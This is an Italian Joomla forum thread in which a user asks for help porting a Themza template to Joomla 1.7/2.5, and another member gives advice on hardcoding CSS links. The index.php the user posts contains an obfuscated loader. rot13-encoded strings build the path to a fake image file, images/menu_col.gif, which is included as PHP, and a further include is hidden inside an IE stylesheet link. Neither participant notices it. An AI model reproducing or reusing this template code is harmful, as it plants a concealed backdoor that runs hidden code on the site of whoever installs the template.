Back to top

Autore Topic: covertire un template themza dalla 1.5 alle 1.7/2.5  (Letto 2966 volte)

pippo30

  • Visitatore
covertire un template themza dalla 1.5 alle 1.7/2.5
« il: 08 Mar 2012, 12:10:40 »
ho provato ha vedere la giuda wiki ma a volte ho notato che template di terze parti nn sono come quelli che si trovono qui nel sito di joomla

come dice la guida ho modificato il templateDetails:

Codice: [Seleziona]
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install PUBLIC "-//Joomla! 1.7//DTD template 1.0//EN" "http://www.joomla.org/xml/dtd/1.7/template-install.dtd">
<extension version="1.7" type="template" client="site">
    <name>pippo</name>
    <version>1.0.0</version>
    <creationDate>2010-10-5</creationDate>
    <author></author>
    <authorEmail></authorEmail>
    <authorUrl></authorUrl>
    <description></description>
    <files>
        <filename>index.php</filename>
        <filename>index.html</filename>
        <filename>templateDetails.xml</filename>
        <filename>template_thumbnail.png</filename>
        <filename>params.ini</filename>
        <filename>favicon.ico</filename>
        <filename>component.php</filename>
        <filename>functions.php</filename>

        <folder>css</folder>
        <folder>html</folder>
        <folder>images</folder>
        <folder>js</folder>
       
       
    </files>
    <positions>
        <position>breadcrumb</position>
        <position>left</position>
        <position>right</position>
        <position>top</position>
        <position>user1</position>
        <position>user2</position>
        <position>user4</position>
        <position>debug</position>
        <position>syndicate</position>
        <position>menu</position>
        <position>breadcrumb1</position>
    </positions>
   
</extension>


non so se bisogna modificare anche qualcosa su functions.php

poi ho modifacato index. php in questo modo:



Codice: [Seleziona]
<?php
// no direct access
defined'_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;
JHtml::_('behavior.framework'true);

$app JFactory::getApplication();
$templateparams $app->getTemplate(true)->params;
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language?>" lang="<?php echo $this->language?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="main_bg" class="banner1">
<div id="h_area">
<?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
    <br clear="all" /></div>
<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
<?php if ($this->countModules('breadcrumb1')) : ?>
      <div id="breadcrumb1">
        <jdoc:include type="modules" name="breadcrumb1"  />
      </div>
   <?php endif; ?>
   <?php if($this->countModules('left')) : ?>
    <div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix '_middle';
          elseif(!
$this->countModules('left') and !$this->countModules('right'))$maincol_sufix '_big';
          else 
$maincol_sufix ''?>

    <div id="maincolumn<?php echo $maincol_sufix?>">
        <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
        <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    <div id="rightcolumn">
        <jdoc:include type="modules" name="right" style="xhtml"/>
        <br />
        <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
    <br clear="all" />
</div>   
   
<div id="f_area">
    <?php if($this->countModules('user1')) : ?>
        <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
        <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" />
</div>

<p id="power_by" align="center">
    <?php echo ""?>
    <?php echo JText_('Designed by'?> <a</a>
    </p>
<jdoc:include type="modules" name="debug" />
</body>
</html>


però la cosa nn funziona non so dove sbaglio
il template si installa correttamente ma nn si vede si vede solo lo sfondo e il bordo

chi mi aiuta?????

Offline 56francesco

  • Fuori controllo
  • *
  • Post: 29585
  • Sesso: Maschio
    • Mostra profilo
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #1 il: 08 Mar 2012, 12:20:33 »
sostituisci queste funzioni
Codice: [Seleziona]
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/.....direttamente con il link al file css che ti interessa
e togli pure le varie opzioni nel file .xml
è l'unico modo in cui li faccio funzionare, altrimenti non se ne esce mai.
(uso XP perchè win98 non si installa) 
PS: non sono un dipendente dello sbonzor quindi è necessario un "per favore" alla richiesta e un "grazie" alla risposta, sempre! PPS: non scrivo mai per primo in MP, in caso contrario chiedimi una conferma, Grazie.

pippo30

  • Visitatore
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #2 il: 08 Mar 2012, 12:23:33 »
ok provo in caso ti chiedo scusa ma nn sono molto esperto


Offline 56francesco

  • Fuori controllo
  • *
  • Post: 29585
  • Sesso: Maschio
    • Mostra profilo
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #3 il: 08 Mar 2012, 12:28:42 »
le difficoltà maggiori sono nel file xml 

però considera che dopo il file css va riscritto perchè le classi non sono uguali, quindi se non sei più che disponibile a perdere una marea di tempo trovane un altro che sia almeno per la 1.6
(uso XP perchè win98 non si installa) 
PS: non sono un dipendente dello sbonzor quindi è necessario un "per favore" alla richiesta e un "grazie" alla risposta, sempre! PPS: non scrivo mai per primo in MP, in caso contrario chiedimi una conferma, Grazie.

pippo30

  • Visitatore
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #4 il: 08 Mar 2012, 12:37:48 »
come si esprime solo il link???
il codice:

scusa la domanda stupida

Offline 56francesco

  • Fuori controllo
  • *
  • Post: 29585
  • Sesso: Maschio
    • Mostra profilo
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #5 il: 08 Mar 2012, 12:45:22 »
questo qui che risente dei parametri che selezioni nell'xml in questo caso il colore,

Citazione
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

fallo diventare come gli altri.

Codice: [Seleziona]
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/tuotemplate/css/variante_colore.css" type="text/css" />
e nel file xml puoi eliminare la parte che riguarda le opzioni del colore, io almeno così ci riesco a usarli..

ma poi i css come fai?
(uso XP perchè win98 non si installa) 
PS: non sono un dipendente dello sbonzor quindi è necessario un "per favore" alla richiesta e un "grazie" alla risposta, sempre! PPS: non scrivo mai per primo in MP, in caso contrario chiedimi una conferma, Grazie.

pippo30

  • Visitatore
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #6 il: 08 Mar 2012, 12:48:11 »
eeee dici che nn coviene allora???


Offline 56francesco

  • Fuori controllo
  • *
  • Post: 29585
  • Sesso: Maschio
    • Mostra profilo
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #7 il: 08 Mar 2012, 12:49:14 »
quanto tempo hai da perdere? se tanto e tanta pazienza.. allora si.
(uso XP perchè win98 non si installa) 
PS: non sono un dipendente dello sbonzor quindi è necessario un "per favore" alla richiesta e un "grazie" alla risposta, sempre! PPS: non scrivo mai per primo in MP, in caso contrario chiedimi una conferma, Grazie.

pippo30

  • Visitatore
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #8 il: 08 Mar 2012, 12:56:35 »
più che altro e che ho appena iniziato con i css  quindi sinceramente nn saprei riscriverlo :-) ad essere sincero di sana pianta

Offline 56francesco

  • Fuori controllo
  • *
  • Post: 29585
  • Sesso: Maschio
    • Mostra profilo
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #9 il: 08 Mar 2012, 13:02:14 »
ti servirebbe comunque andare a trovare un altro template dal quale prelevare le nuovi classi di css   con lo stile che ti serve, vedi tu..
a cambiare due colori e qualche immagine si fa presto, a scriverlo o riscriverlo ci vuole quello che ci vuole, il professionista.
(uso XP perchè win98 non si installa) 
PS: non sono un dipendente dello sbonzor quindi è necessario un "per favore" alla richiesta e un "grazie" alla risposta, sempre! PPS: non scrivo mai per primo in MP, in caso contrario chiedimi una conferma, Grazie.

pippo30

  • Visitatore
Re:covertire un template themza dalla 1.5 alle 1.7/2.5
« Risposta #10 il: 08 Mar 2012, 14:40:12 »
c'è una lista dellle classi da convertire????

 



Web Design Bolzano Kreatif